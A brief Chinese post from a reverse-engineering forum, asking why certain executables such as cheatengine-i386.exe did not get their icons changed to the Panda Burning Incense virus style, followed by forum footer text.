本帖最后由 马云爱逛京东 于 2022-1-1 09:39 编辑

有点好奇cheatengine-i386.exe这几个可执行文件图标为什么不会变成涛之雨(熊猫烧香)的样式
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-20 13:24

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表